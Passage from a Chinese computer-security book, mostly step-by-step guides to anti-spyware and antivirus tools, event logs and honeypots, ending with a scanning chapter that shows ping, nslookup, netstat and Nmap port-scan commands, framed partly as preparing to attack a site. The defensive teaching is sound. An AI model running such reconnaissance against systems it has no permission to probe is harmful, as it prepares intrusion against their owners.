    {"text": "单击“查杀流行木马”选项卡，即可进入“查杀流行木马”设置界面，如图12-27所示。 图 12-26 “瑞星卡卡”主窗口 图 12-27 “查杀流行木马”设置界面 步骤2：在其中选择需要扫描的对象之后，单击【开始扫描】按钮，即可自动进行流行木马的扫描，如图12-28所示。"},
    {"text": "图 12-28 正在扫描对象 （2）实现漏洞扫描与修复 漏洞扫描与修复是瑞星卡卡的另一个亮点，可以检测Windows系统漏洞、第三方应用软件漏洞和相关安全设置，从而帮助用户进行修复。"},
    {"text": "图 12-30 查看扫描漏洞结果 图 12-31 【详细设置】对话框 步骤3：根据实际情况设置补丁下载的方式和存放目录之后，选择“危险设置”选项卡，在其中选择要扫描的危险项，如图12-32所示。"},
    {"text": "选择“自动扫描”选项卡，在其中设置扫描的频率，如图12-33所示。 图 12-32 “危险设置”设置界面 图 12-33 “自动扫描”设置界面 步骤4：单击【确定】按钮，即可完成设置操作。 单击【重新扫描】按钮，即可自动进行扫描操作。"},
    {"text": "在扫描结束之后，单击“系统存在漏洞”右侧的“详细信息”链接，即可查看具体的漏洞信息，如图12-34所示。 在选择需要修复的漏洞之后，单击【修复漏洞】按钮，即可自动对漏洞进行修复操作，如图12-35所示。 图 12-34 查看系统漏洞信息 图 12-35 “修复漏洞”页面 （3）实现系统修复 很多病毒会破坏系统设置，比如中毒电脑会出现IE浏览器主页被改、经常跳转到广告网站等现象，这时就可以运用瑞星卡卡的系统修复功能修复注册表、系统设置和host文件，使电脑恢复正常。"},
    {"text": "图 12-36 “高级工具”设置界面 步骤2：单击“系统修复”选项，即可自动扫描系统并显示出扫描结果，如图12-37所示。 在其中选择需要修复的选项之后，单击【修复】按钮，即可完成系统的修复。"},
    {"text": "图 12-37 “系统修复”页面 5.金山系统清理专家清除恶意软件 金山清理专家是一款上网安全辅助软件，对流行木马、恶意插件尤为有效，可解决普通杀毒软件不能解决的安全问题。"},
    {"text": "步骤1：安装好软件后，双击桌面上的“金山清理专家”图标，即可进入其操作界面，如图12-38所示。 图 12-38 “金山清理专家”主界面 步骤2：在“金山清理专家”主界面中单击【实时防护】按钮，可启用或关闭“U盘防火墙”、“漏洞防火墙”、“网页防火墙”、“系统防火墙”等功能，如图12-39所示。 图 12-39 “实时防护”设置界面 步骤3：在“金山清理专家”主界面中单击【健康指数】按钮，再单击【为系统打分】按钮，开始全面扫描系统，并给出健康指数，指出问题所在，如图12-40所示。 图 12-40 “健康指数”页面 步骤4：在“金山清理专家”主界面中单击【恶意软件查杀】按钮，可以看到已经查到的恶意软件分类及其数量。"},
    {"text": "图 12-41 “恶意软件查杀”页面 步骤5：在“金山清理专家”主界面中单击【漏洞修复】按钮，开始扫描系统所存在的漏洞，并给出漏洞补丁列表，如图12-42所示。 选取需要修复的漏洞，单击【修复选中项】按钮，即可开始下载系统补丁并自动安装。 图 12-42 “金山漏洞修复”页面 步骤6：在“金山清理专家”主界面中单击【安全百宝箱】按钮，则可打开【金山安全百宝箱】窗口，在其中修复系统、清理垃圾文件、清除历史痕迹、修复浏览器，进行进程管理和启动项管理等，如图12-43所示。"},
    {"text": "未知 第105招 使用Spybot-Search＆Destroy SpyBot-Search＆Destroy是一款专门用来清理间谍程序的工具。一些间谍程序随着共享软件安装到计算机中，监视计算机运行。至今已可检测一万多种间谍程序（Spyware），并对其中的一千多种进行免疫处理。 1.清除间谍软件 SpyBot-Search＆Destroy是一款专门检查和清除计算机中间谍软件的工具，此软件无需安装，只用在解压缩的文件夹中双击\"SpyBot-Search＆Destroy\"应用程序图标，即可进入SpyBot主窗口，如图12-44所示。 图 12-44 SpyBot主窗口 清除间谍软件的具体操作步骤如下。 步骤1：在SpyBot主窗口中单击【检测与修复】链接按钮，即可进入“检测与修复”设置界面，在其中可以检查系统并修复找到的问题，如图12-45所示。 图 12-45 “检测与修复”设置界面 步骤2：单击【检测】按钮，即可对系统进行扫描，如图12-46所示。在检测完毕之后，即可在“问题”列表框中显示出检测到的结果信息，如图12-47所示。 图 12-46 正在扫描系统 图 12-47 查看检测到的结果信息 步骤3：在选取某个检查到的问题之后，再点击右侧的分帧栏，即可查询到有关该问题软件的发布公司、软件功能、说明和危害种类等信息，如图12-48所示。 图 12-48 查询检测问题的详细信息 步骤4：在选取需要修复的问题程序之后，单击【修复】按钮，并在如图12-49所示的提示信息框中单击【是】按钮，即可将选取的间谍程序从系统中清除修复，如图12-50所示。单击【确定】按钮，即可彻底完成修复操作。 图 12-49 “确认删除项目”提示框 图 12-50 确认修复消息框 2.用Spybot恢复误删除的文件 如果用户在使用Spybot“检测与修复”功能修复检查到的问题之后，发现运行其他软件有错误，此时即可通过Spybot的恢复功能来撤消修复或变动。具体的操作步骤如下。 步骤1：在SpyBot主窗口中单击【还原】链接按钮，即可进入到“还原”设置界面，在其中选择需要还原的程序，如图12-51所示。 图 12-51 “还原”设置界面 步骤2：单击【还原】按钮，即可弹出【确认】信息提示框，如图12-52所示。在确认是否撤销所做的修改之后，单击【是】按钮，即可将选取的间谍程序还原到系统中，并给出还原项目所在处的提示信息，如图12-53所示。 图 12-52 【确认】信息提示框 图 12-53 “信息”提示框 提示 如果修复后系统运行没问题，则说明清除的问题程序正确，此时在还原界面中选取修复后的程序备份，单击【删除】按钮，以减少硬盘空间占用。 3.设置Spybot的间谍软件免疫 Spybot可以对近万种间谍软件进行免疫处理，通过对这些间谍软件施行预防性措施，即可有效避免遭受这些间谍软件的危害。具体的操作步骤如下。 步骤1：在Spybot主窗口中单击【免疫】链接按钮，即可进入免疫窗口，并且Spybot将自动扫描用户的计算机系统，检查当前计算机系统的免疫情况，如图12-54所示。 图 12-54 “免疫”设置窗口 步骤2：若在“模式”菜单下选取“高级模式”选项，则可对Spybot进行设置，如图12-55所示，或使用Spybot提供的工具，如图12-56所示。 图 12-55 Spybot设置界面 图 12-56 Spybot工具设置界面 4.查找启动项中的间谍程序 系统启动项中加载程序，是程序在系统中运行的一种重要途径，所以很多间谍程序都选择了这里作为根据地之一。针对这一点，SpyBot-Search＆Destroy同样作出了管理措施。 具体的操作步骤如下。 步骤1：选择【模式】→【高级模式】菜单项，即可弹出“警告”消息框，如图12-57所示。单击【是】按钮，即可进入【高级模式】窗口。 图 12-57 “警告”消息框 步骤2：单击主窗口左侧导航条中的“工具”栏目下的“系统启动”超链接，即可进入“系统启动”链接页面，将显示并管理系统启动时自动加载的应用程序，如图12-58所示。 图 12-58 “系统启动”链接页面 除上述功能之外，SpyBot-Search＆Destroy还可以显示计算机中已经安装的所有ActiveX控件、常驻内存的监视器程序和浏览器关键页面（起始页、主页、搜索页地址）等。 该软件还提供了一个非常方便实用的“导出”功能，允许用户将所有的检测结果导出为一个文本文件备用。它还支持在线更新软件版本，以使用户的数据库不断进行更新，通过这些功能设计，可以感觉到该程序真正地起到了实时防范的作用。 未知 第2章 扫描与反扫描技术 重点提示 ♂扫描器X-Scan查本机隐患 ♂用流光扫描主机漏洞 ♂用MBSA检测Windows系统 ♂深入浅出RPC漏洞扫描 ♂用ProtectX防御扫描器追踪 ♂用NC监控与扫描 本章精粹： 安全扫描工具是把双刃剑，黑客利用它可以扫描别人的系统，而系统管理员使用它却可以维护系统的安全。本章主要介绍一些扫描工具的使用，以及如何使用这些工具防范黑客的入侵，从而提高系统的安全性。 扫描工具和嗅探工具是黑客使用最多、使用最频繁的工具，只有充分掌握了被攻击主机的相关信息，下一步操作才能得心应手。当然，合理使用扫描和嗅探工具，也可以把系统配置得“滴水不漏”。"},
    {"text": "未知 第106招 间谍软件防护实战 间谍软件的主要危害是严重干扰用户使用各种互联网，比如推广弹出式广告、影响用户网上购物、干扰在线聊天、欺骗用户浏览搜索引擎引导网站等，同时还有可能导致机器速度变慢、突然网络断开等情况出现，这主要是因为间谍软件会占去系统大量资源。 1.用SpySweeper清除间谍软件 当大家安装了某些免费的软件或浏览某个网站时，都可能使间谍软件潜入。"},
    {"text": "黑客除监视用户的上网习惯（如上网时间、经常浏览的网站以及购买了什么商品等）外，还有可能记录用户的信用卡账号和密码，这给用户安全带来了重大隐患。"},
    {"text": "图 12-59 \"Spy Sweeper\"主界面 步骤2：单击左侧【Options】按钮，并选择\"Sweep\"标签，即可设置扫描方式，如图12-60所示。 图 12-60 设置扫描方式 步骤3：若选择\"Custom Sweep\"选项，则用户可以在下方列表中选择需要扫描的对象，如图12-61所示。 图 12-61 选择需要扫描的对象 步骤4：若单击\"Change settings\"超链接，则弹出如图12-62所示的对话框，用户可以具体设置扫描或跳过的对象。 单击左侧【Sweep】按钮，再单击主窗口中的下拉按钮，从列表中选择扫描方式，如图12-63所示。 图 12-62 【Custom Sweep】对话框 图 12-63 \"Sweep\"链接页面 步骤5：单击【Start Custom Sweep】按钮，即可开始扫描，上面显示扫描进度，中间显示扫描当前对象，下面显示扫描结果，如图12-64所示。 图 12-64 正在扫描 步骤6：在扫描结束后，系统将显示如图12-65所示的界面，其中显示需要清除的对象。 单击左侧【Options】按钮，选择\"Sche dule\"选项卡，则可创建定时扫描任务，其中包括扫描方式、开始扫描时间等，如图12-66所示。 图 12-65 显示扫描结果 图 12-66 \"Schedule\"链接页面 步骤7：单击左侧的【Shields】按钮，在其中设置各种对象的防御选项，使用户在上网过程中及时保护系统，如图12-67所示。"},
    {"text": "图 12-67 \"Shields\"链接页面 3.通过事件查看器抓住间谍 如果用户关心系统的安全，并且想快捷地查找出系统的安全隐患或发生安全问题的原因，通过Windows系统中“事件查看器”可以发现一些安全问题的苗头及已植入系统的“间谍”所在。"},
    {"text": "在Windows XP系统中打开“事件查看器”方法为：通过【控制面板】→【管理工具】→【事件查看器】菜单项，即可打开【事件查看器】窗口，如图12-68所示。"},
    {"text": "图 12-68 “事件查看器”窗口 （1）事件查看器查获“间谍”实例 由于日志记录了系统运行过程中大量的操作事件，为了方便用户查阅这些信息，采取了“编号”方式，同一编号代表同一类操作事件。"},
    {"text": "图 12-70 【事件属性】对话框 作用：如果用户的服务器正常是不关机的，但却出现这个事件记录，那么就应该检查是否曾被恶意用户在本地或远程执行了重启操作。"},
    {"text": "图 12-71 【事件ID为7001的属性】对话框 作用：应检查系统“服务”中的Server等服务是否被关闭，例如有的单机用户为了彻底杜绝默认共享的问题，而将Server服务关闭。"},
    {"text": "（2）安全日志的启用 安全日志在默认情况下是停用的，但作为维护系统安全中最重要的措施之一，将其开启显然是非常必要的，通过查阅安全日志，可以得知系统是否有恶意入侵的行为等。"},
    {"text": "选择【文件】→【添加/删除管理单元】菜单项，即可打开【添加/删除管理单元】对话框，如图12-72所示。 图 12-72 【添加/删除管理单元】对话框 步骤2：单击【添加】按钮，即可【添加独立管理单元】对话框，在其中选择“组策略对象编辑器”选项，如图12-73所示。 图 12-73 【添加独立管理单元】对话框 步骤3：单击【添加】按钮，即可弹出【“选择组策略对象”向导】对话框，在其中选择“本地计算机”选项，如图12-74所示。 图 12-74 【“选择组策略对象”向导】对话框 步骤4：单击【完成】按钮，即可完成添加操作。"},
    {"text": "图 12-75 “控制台”窗口 步骤5：在右侧窗口中右击相应选项，在其属性对话框中选取“成功”和“失败”复选框。 例如右击“审核账户管理”项，在快捷菜单中选取“属性”选项，则可打开【审核账户管理属性】对话框，在“本地安全设置”标签卡中选取“成功”和“失败”复选框，如图12-76所示。"},
    {"text": "图 12-76 【审核登录事件属性】对话框 （3）事件查看器的管理 由于日志记录了大量的系统信息，需要占用一定的磁盘空间，如果是个人计算机，则可经常清除日志以减少磁盘占用量。"},
    {"text": "步骤1：在【事件查看器】窗口中右击需要清除的日志，在快捷菜单中选择“清除所有事件”选项，即可将该日志记录清除，如图12-77所示。 也可在快捷菜单中选择“属性”命令，在打开的对话框中单击【清除日志】按钮，将该日志记录删除，如图12-78所示。 图 12-77 “事件查看器”窗口 图 12-78 【安全性属性】对话框 步骤2：在执行清除日志命令后，将弹出如图12-79所示的提示对话框，单击【是】按钮，指定保存路径即可将日志记录保存下来。 图 12-79 “事件查看器”消息框 步骤3：若在快捷菜单中选取“另存日志文件”选项，同样可以将日志记录保存下来。"},
    {"text": "它可以帮用户检测及清除一些潜藏在操作系统里的间谍软件及广告软件，保护用户计算机不受到一些间谍软件的安全威胁及控制，也保障了使用者的安全与隐私。"},
    {"text": "步骤1：从Microsoft公司网站下载并安装Windows Defender，选择【开始】→【程序】→【Windows Defender】菜单项，即可进入Windows Defender操作界面，如图12-80所示。 图 12-80 \"Windows Defender\"主界面 步骤2：单击工具栏中的【工具】按钮，则显示如图12-81所示的界面，在其中进行设置Windows Defender选项，查看隔离的项目，设置允许加载的项目等操作。 图 12-81 “工具和设置”界面 步骤3：单击“选项”超链接，系统则进入Windows Defender选项设置界面，在其中设置自动扫描任务执行的时间、扫描方式、设置实时防护选项等内容，如图12-82所示。 图 12-82 Windows Defender选项设置界面 步骤4：在“工具和设置”界面中单击“软件资源管理器”超链接，在其中对“启动程序”、“当前运行的程序”、“网络连接的程序”、“Winsock服务提供的程序”等对象进行管理，如图12-83所示。 图 12-83 “软件资源管理器”界面 步骤5：单击工具栏上“扫描”右侧下拉按钮，选择扫描方式（快速扫描或完全扫描），开始扫描系统，如图12-84所示。"},
    {"text": "图 12-84 “正在扫描”窗口 图 12-85 “隔离的项目”界面 5.奇虎360安全卫士使用流程 如今网络上各种间谍软件、恶意插件、流氓软件实在太多，这些恶意软件或者搜集个人隐私，或频发广告，或让系统运行缓慢，让用户苦不堪言。 使用免费的“奇虎360安全卫士”则可轻松地解决这个问题。"},
    {"text": "步骤1：下载并安装好360安全卫士后，双击桌面上的“360安全卫士”图标，即可进入其操作界面，如图12-86所示。 当360安全卫士首次运行时，将自动对当前系统进行快速扫描，查找出系统所存在的问题，如图12-87所示。 图 12-86 “360安全卫士”主窗口 图 12-87 查看健康指数信息 步骤2：选择“查杀流行木马”标签，在其中可以查杀当前系统中存在的已知木马程序，如图12-88所示。 扫描结束后，选取需要清除的对象，单击【立即查杀】或【强力查杀】按钮，即可将木马程序清除，如图12-89所示。 图 12-88 “查杀流行木马”页面 图 12-89 扫描木马 步骤3：选择“清理恶评插件”标签，在其中可以扫描当前系统中存在的恶意程序，如图12-90所示。"},
    {"text": "图 12-90 “清理恶评插件”设置页面 步骤4：选择“装机必备”标签，即可打开“360软件管理”窗口，在“开机启动”标签中可以查看和禁止开机加载的程序，如图12-91所示。 图 12-91 “开机启动”设置页面 步骤5：选择“正在运行”标签，在其中可以查看和结束正在运行的程序，如图12-92所示。 选择“软件卸载”标签，则可以在此卸载不再需要的程序，如图12-93所示。 图 12-92 “正在运行”设置页面 图 12-93 “软件卸载”设置页面 步骤6：选择“修复系统漏洞”标签，即可打开“360漏洞修复”窗口，如图12-94所示。 单击【待修复系统漏洞】按钮，即可查看并修复系统漏洞。 在“360安全卫士”的“常用”功能中还有“清理系统垃圾”和“清理使用痕迹”等功能，如图12-95所示。 图 12-94 “修复系统漏洞”设置页面 图 12-95 “清理使用痕迹”设置页面 步骤7：单击【高级】按钮，则可以进行修复IE、启动项状态、系统进程状态、系统服务状态等多种操作，如图12-96所示。 单击【实时保护】按钮，即可打开“360实时保护”页面。 再单击【全部开启】按钮，则可开启“漏洞防火墙”、“系统防火墙”、“木马防火墙”等多种实时防护功能，如图12-97所示。 图 12-96 “修复IE”设置页面 图 12-97 “实时保护”设置页面"},
    {"text": "未知 第107招 蜜罐的使用 所谓蜜罐，就是一个网络陷阱程序，这个陷阱是针对入侵者而特意设计出来的一些伪造的系统漏洞。这些伪造的系统漏洞，在引诱入侵者扫描或攻击时，就会激活触发报警事件，从而告诉计算机管理员有入侵者到来了。 蜜罐好比是故意让人攻击的目标，引诱黑客前来攻击。所以攻击者入侵后，用户就可以知道入侵者是如何得逞的，随时了解针对服务器发动的最新攻击和漏洞。还可以通过窃听黑客之间的联系，收集黑客所用的种种工具。 1.蜜罐的典型应用实例 “冰河陷阱”是一款很好的蜜罐程序，可以在每次启动时自动检测系统是否已经被安装了“冰河”被控端程序，如果“是”则提示用户并在用户确认后自动清除所有版本的“冰河”被控端程序。在清除“冰河”被控端程序前会向用户显示已经被安装的“冰河”配置信息，自动清除后配置信息保存在当前目录的“清除日志.txt”文件中。 启动“冰河陷阱”后完全模拟真正的“冰河”被控端程序对监控端命令进行响应，使监控端产生仍在监控的错觉，并完全记录监控端的IP地址、命令、命令参数等相关信息。此外，还可在入侵者尚未退出“冰河”监控端程序前，通过“冰河信使”功能与入侵者对话。在“冰河陷阱”监控下，所有由远程监控端上传的文件，保存在UPLOAD目录下供用户分析。 具体的操作方法如下。 步骤1：从网上下载并解压后，双击“冰河陷阱.exe”进入其操作界面，如图12-98所示。选择【设置】→【设置监听端口】菜单项，在其中随意设置本地监听端口，如图12-99所示。 图 12-98 “冰河陷阱”主窗口 图 12-99 【设置监听端口】对话框 步骤2：选择【文件】→【打开陷阱】菜单项，蜜罐程序即可运行。若发现有入侵行为，将自动记录有关信息。 在冰河陷阱的监控下，所有由远程监控端上传的文件多为破坏性程序或病毒、木马等有害程序，建议在没有把握的情况下不要轻易打开UPLOAD目录下的任何文件。此外，还有一类蜜罐程序可以通过在防火墙中将入侵者的IP地址设置为黑名单来立即拒绝入侵者继续进行访问，拒绝不友好的访问可以是短期的，也可以是长期的。 2.个人用户蜜罐系统的实现 Defnet HoneyPot 2004是一个著名的“蜜罐”虚拟系统，它会虚拟一台有“缺陷”的电脑，等着恶意攻击者上钩。这个陷阱只能套住恶意攻击者，看看黑客都执行了哪些命令，进行了哪些操作，使用了哪些恶意攻击工具。具体的操作方法如下。 步骤1：用户从网上下载后双击defnet.exe程序，即可进入操作界面，如图12-100所示。 图 12-100 \"Defnet HoneyPot\"主界面 步骤2：单击【Options】按钮，即可打开其选项设置对话框，如图12-101所示。勾选\"Send logs by e-mail\"复选框，在其中输入自己的电子邮件地址，将记录的资料传送到该邮箱中。如果自己有QQ号码，也可使用它发送信息。选取\"Authentication required\"复选框，输入自己邮箱身份验证信息；勾选\"Open Extra Ports\"复选框可设置伪装开启的端口；在\"Default banner of extra ports\"文本框中可输入伪装端口的默认信息；还可设置记录信息保存的路径、捕获到入侵行为时声音提示、开机自启动、自动监视等选项。 图 12-101 【Options】对话框 步骤3：单击【Honeypot】按钮，则可打开蜜罐设置选项对话框，在其中可以根据需要开启伪装的服务内容，如图12-102所示。 图 12-102 【Honeypot设置选项】对话框 步骤4：选取\"Web Server\"复选框，可以设置开启Web服务的端口、伪装文件的目录。选取\"FTP Server\"复选框，则可以设置开启FTP服务的端口号、登录FTP服务器的用户名和密码等选项。 步骤5：还可以根据需要选取\"SMTP Server\"、\"Finger Server\"、\"POP3 Server\"、\"Telnet Server\"等服务功能。若选择\"Finger Server\"复选框，单击右边的【Advanced】按钮，则可配置各类用户，如图12-103所示。 图 12-103 【Finger】对话框 步骤6：若选择\"Telnet Server\"复选框，单击【Advanced】按钮，即可对Telnet服务进行更加详细地设置，在其中设置伪装成的黑客入侵后看到的电脑盘符（Drive）、卷标（Volume）、序列号（Serial no）、目录建立的时间（Date and time of directories creation）、剩余磁盘空间（Free space in bytes）、可进入的目录（What directory will be accessible）、MAC地址、网卡、DNS等，如图12-104所示。还可通过\"Allow()command before disconnect\"项设置黑客入侵后在蜜罐系统中执行命令的数量。 图 12-104 设置Telnet服务信息 3.开启实时监控 经过上述设置后，要想开启实时监控，只需单击Defnet HoneyPot主窗口中的【Montiore】按钮，即可开始监视入侵的行为，如图12-105所示。 图 12-105 监视入侵行为 当然，在监视过程中可随时单击【Stop】按钮停止监视，单击【Clean】按钮清除监视记录，单击【Save】按钮保存监视到的日志记录，并会在右边的空白处显示。"},
    {"text": "未知 第108招 诺顿网络安全特警 “诺顿网络安全特警2009”简体中文版是针对Windows XP、Windows Vista操作系统提供的安全防护，提供主动式行为防护，甚至可以在传统以特征为基础的病毒库辨认出前，早一步监测到新型的间谍程序及病毒。"},
    {"text": "步骤1：当软件安装完毕之后，单击任务栏中显示出诺顿网络安全特警2009的标志，即可进入【诺顿网络安全特警2009】主窗口，如图12-106所示。 图 12-106 【诺顿网络安全特警2009】主窗口 步骤2：在左端显示软件的安全状态，由于是第一次安装此软件，程序会自动对系统文件进行扫描，当程序检测到系统中存在风险时，将显示出红色“×”，这说明该功能中存在着安全隐患需要修复，这时单击【立即修复】按钮，即可自动进行修复操作，如图12-107所示。 图 12-107 修复系统 步骤3：在修复完毕之后，“诺顿网络安全特警2009”主窗口中将显示“安全”状态，在其中清晰地展现了系统的防护状态，如图12-108所示。 图 12-108 “安全状态”显示 步骤4：单击相应的项目（如单击“网页仿冒防护”选项），即可打开【网页仿冒保护】对话框，在其中查看相应安全情况，如图12-109所示。"},
    {"text": "图 12-109 查看项目的安全情况 步骤5：在“诺顿网络安全特警2009”主窗口中单击“计算机”栏目中的“设置”超链接，即可进入“Norton Internet Security选项”设置窗口，如图12-110所示。"},
    {"text": "图 12-110 “计算机设置”界面 步骤6：在“计算机设置”选项卡中单击“反间谍软件”栏目右侧的“配置”链接选项，即可打开【反间谍软件】窗口，在其中选择手动、电子邮件和即时消息扫描中检测哪些类别的风险。"},
    {"text": "图 12-111 “反间谍软件”窗口 步骤7：若单击“管理扫描”栏目右侧的“配置”链接选项，即可打开【扫描】窗口，Norton Internet Security会自动定期下载防护更新、扫描用户计算机并保护用户免遭所有类型的病毒和未知威胁侵害。"},
    {"text": "图 12-112 “扫描”窗口 步骤8：在“Internet设置”选项卡中可对Internet中各项防护进行相应设置，如图12-113所示。 单击“智能防火墙”区域的“程序控制”选项卡，可控制计算机上程序访问Internet的方式。 在程序列表中可修改每个程序的Internet访问，还可向列表中添加程序或从列表中删除程序，如图12-114所示。 图 12-113 “Internet设置”设置界面 图 12-114 【程序控制】对话框 步骤9：如果要添加其他程序控制，单击【添加】按钮，即可打开【选择应用程序】对话框，在其中选择要添加的程序，如图12-115所示。 如果要修改某程序控制，选中需要修改的程序之后，单击【修改】按钮，即可打开【程序规则】对话框，如图12-116所示。 图 12-115 【选择应用程序】对话框 图 12-116 【程序规则】对话框 步骤10：单击【修改】按钮，即可打开【修改规则】对话框，在其中进行相应规则的修改，如图12-117所示。 如果要删除某程序控制，只用选择需要删除的程序之后，单击【删除】按钮，将弹出“确认”信息提示框，从弹出的信息提示框中单击【是】按钮，即可完成删除操作，如图12-118所示。 图 12-117 【修改规则】对话框 图 12-118 信息提示框 步骤11：在选中需要重命名的某程序之后，单击【重命名】按钮，即可打开【重命名程序】对话框，从文本框中输入相应名称完成重命名操作，如图12-119所示。 图 12-119 【重命名程序】对话框 步骤12：在如图12-113所示的【Internet设置】窗口中，单击“智能防火墙”区域中的“高级设置”栏目右侧的“配置”链接选项，即可打开“高级设置”设置页面，通过智能防火墙高级设置选项激活高级防护功能，自定义计算机用于查看网页的端口，如图12-120所示。 图 12-120 “高级设置”设置界面 步骤13：单击“一般规则”栏目右侧“配置”链接选项，即可打开【一般规则】对话框，在其中分别对某些规则进行相应的添加、修改、删除、上移和下移操作，如图12-121所示。 图 12-121 【一般规则】对话框 步骤14：在“高级设置”选项卡中还可对端口和状态协议过滤器进行相应的设置。"},
    {"text": "如果要对防火墙进行重新设置，单击“防火墙重置”右侧的“配置”链接选项，即可弹出“防火墙重置”信息提示框。 单击【是】按钮，即可重新设置整个防火墙设置，如图12-122所示。"},
    {"text": "图 12-122 信息提示框 步骤15：在“入侵防护”选项卡中可对“入侵排除”、“入侵自动阻止”和“通知警告”进行相应设置，单击“入侵排除”栏目右侧“配置”链接，即可打开【入侵排除】对话框，即可查看攻击特征的列表。 还可打开或关闭当Norton Internet Security检测到特定特征时显示的通知，如图12-123所示。 图 12-123 【入侵排除】对话框 步骤16：单击“入侵自动阻止”栏目右侧的“配置”超链接，即可打开【入侵自动阻止】对话框，在其中将入侵自动阻止打开或关闭指定的时间段，还可查看、取消阻止或限制阻止的计算机，如图12-124所示。 图 12-124 【入侵自动阻止】对话框 步骤17：在“Norton Internet Security选项”设置窗口中选择“身份设置”选项卡，如图12-125所示。 单击“身份保护”栏目右侧的“配置”超链接，即可打开【设置Norton身份安全】对话框，在其中对Norton身份进行安全设置，如图12-126所示。 图 12-125 “身份设置”页面 图 12-126 【设置Norton身份安全】对话框 步骤18：在“家庭网络设置”选项卡中可对家庭网络和远程监控进行相应的设置，如图12-127所示。"},
    {"text": "图 12-127 “家庭网络设置”页面 图 12-128 “其他设置”设置界面 步骤19：在“父母和隐私控制”选项卡中可对通过Internet发送的信息种类进行若干级别控制，还可为不同Windows用户账户授予Internet内容的访问权限，如图12-129所示。 图 12-129 “父母和隐私控制”设置界面 2.用网络安全特警扫描程序 在所有设置完毕之后，就可以运用设置好的方式实施扫描程序，具体的操作步骤如下。 步骤1：在“诺顿网络安全特警2009”主窗口中单击“计算机”栏目下的“立即扫描”链接按钮，即可弹出三种不同扫描方式，根据实际需要选择相应扫描方式（这里选择“运行快速扫描”方式），如图12-130所示。 图 12-130 选择扫描方式 步骤2：单击【运行快速扫描】按钮，即可进入扫描状态，如图12-131所示。"},
    {"text": "图 12-131 进入扫描状态 图 12-132 扫描结果显示 步骤3：若扫描完毕后有提示需要注意事项时，则单击“需要注意”选项卡，根据实际情况对出现的问题进行修复或忽略操作（这里选择修复），如图12-133所示。"},
    {"text": "在选择修复操作后，单击右侧的 按钮，将会弹出“低风险警报”提示框，如图12-134所示。 单击【确定】按钮，即可自动实现修复并将修复结果显示出来，如图12-135所示。"},
    {"text": "图 12-133 “需要注意”设置界面 图 12-134 “低风险警报”提示框 图 12-135 修复结果显示 其实不论是流氓软件还是间谍软件，都存在高度危害计算机系统的安全性和稳定性，非常有必要将其清除。 由于不同的间谍软件和流氓软件设定各不相同，且删除的方法也越来越复杂，即使利用反间谍软件或反流氓软件，也不能保证将其成功清除，有时还可能会因为清除流氓软件和间谍软件而导致系统出现问题，此时就需要请教专家进行手动清除。 读者只有学会了流氓软件与间谍软件的清除方法，才能充分保证自己的计算机系统不被恶意软件破坏，以减少黑客们入侵带来的损失。"},
    {"text": "1.确定目标主机IP地址 只有设置好网关的IP地址，TCP/IP协议才能实现不同网络之间的相互通信。 网关IP地址是具有路由功能的设备的IP地址，具有路由功能的设备有路由器、启用了路由协议的服务器（实质上相当于一台路由器）、代理服务器（也相当于一台路由器）。 只要计算机连接到互联网上，就会有一个IP地址，查询本机IP地址的方法如下。 步骤1：在“命令提示符”窗口中运行\"ipconfig\"命令，在运行结果中可以看到本机IP地址、网关地址等信息，如图2-1所示。 在“命令提示符”窗口中运行\"netstat-n\"命令，即可查看本机的IP地址，如图2-2所示。 图 2-1 使用\"ipconfig\"命令查看本机IP地址 图 2-2 使用\"netstat-n\"命令查看本机IP地址 步骤2：如果想攻击某个网站，也需要先获得该网站的IP地址，获取网站IP地址可使用ping命令。 在“命令提示符”窗口中运行\"ping www.baidu.com\"命令，即可查看百度网站对应的IP地址，如图2-3所示。 图 2-3 使用ping命令查看网站的IP地址信息 步骤3：要想得到网站的详细信息，在【命令提示符】窗口中运行\"nslookup www.qq.com\"命令，即可查看新浪网详细信息，其中第1个Address中IP地址就是本机所在域的DNS服务器，第2个Addresses是www.qq.com所使用的Web服务器群的IP地址，如图2-4所示。"},
    {"text": "图 2-4 使用nslookup命令查看网站的详细信息 2.确定可能开放的端口和服务 在默认情况下，有很多不安全或没有作用的端口是开启的，如Telnet服务的23端口、FTP服务的21端口、SMTP服务的25端口等。"},
    {"text": "在“命令提示符”窗口中输入\"netstat-a-n\"命令，即可查看本机开启的端口，在运行结果中可以看到以数字形式显示的TCP和UDP连接的端口号及其状态，如图2-5所示。"},
    {"text": "图 2-5 查看本机查看的端口 Nmap是一款非常流行的端口扫描软件，下面以For Windows版本为例讲述Nmap是如何扫描端口的。 利用Nmap扫描器对端口进行扫描的具体步骤如下。"},
    {"text": "步骤1：将网上下载的\"nmap-4.52-win32.rar\"解压缩后，可得到\"nmap-4.53\"文件夹，为了便于操作先将其放到C盘的根目录下，如图2-6所示。 图 2-6 【nmap-4.53】文件夹 步骤2：在“MS-DOS命令符”窗口中输入\"cd C:\\setup\\nmap-4.53\"命令，即可打开Nmap的安装目录，如图2-7所示。 图 2-7 打开Nmap安装目录 Nmap是基于命令格式的扫描软件，可使用Nmap命令进行端口扫描。"},
    {"text": "1）TCP connect()端口扫描。 即全连接扫描，使用了\"-sT\"参数，只需在命令提示符下键入\"Nmap-sT 192.168.0.88\"命令，即可看到TCP全连接扫描的端口，如图2-8所示。 图 2-8 TCPconnect()端口扫描结果 2）TCP同步端口扫描。"},
    {"text": "采用了\"-sS\"参数，在命令提示符下键入\"Nmap-sS 192.168.0.88\"命令，即可看到TCP半连接扫描的端口，如图2-9所示。 图 2-9 TCP同步端口扫描结果 3）UDP端口扫描。 该方式主要采用\"-sU\"参数，在命令提示符下键入\"Nmap-sU 192.168.0.88\"命令，即可看到扫描的UDP端口，如图2-10所示。 图 2-10 UDP端口扫描结果 Nmap还支持丰富、灵活的命令参数，比如要扫描一个IP地址段的UDP端口，还可以在命令提示符下键入\"Nmap-sU 192.168.0.1-255\"命令，如图2-11所示。 图 2-11 IP地址段扫描结果 3.常见端口扫描工具 入侵者常常利用一些专门的扫描工具对目标主机的端口进行扫描，目前可以用来扫描端口的扫描工具很多，下面就介绍3种常见的扫描工具。 （1）FreePortScanner FreePortScanner是一款端口扫描工具，用户可以快速扫描全部端口，也可以制定扫描范围。 使用FreePortScanner进行端口扫描的具体操作步骤如下。 步骤1：下载FreePortScanner并打开其窗口，在\"IP\"文本框中输入目标主机的IP地址，再勾选\"Show Closed Ports\"复选框，如图2-12所示。 图 2-12 【FreePortScanner】主窗口 步骤2：单击【Scan】按钮，即可扫描到目标主机的全部端口，其中绿色标记是开放的端口，如图2-13所示。 图 2-13 扫描目标主机所有的端口 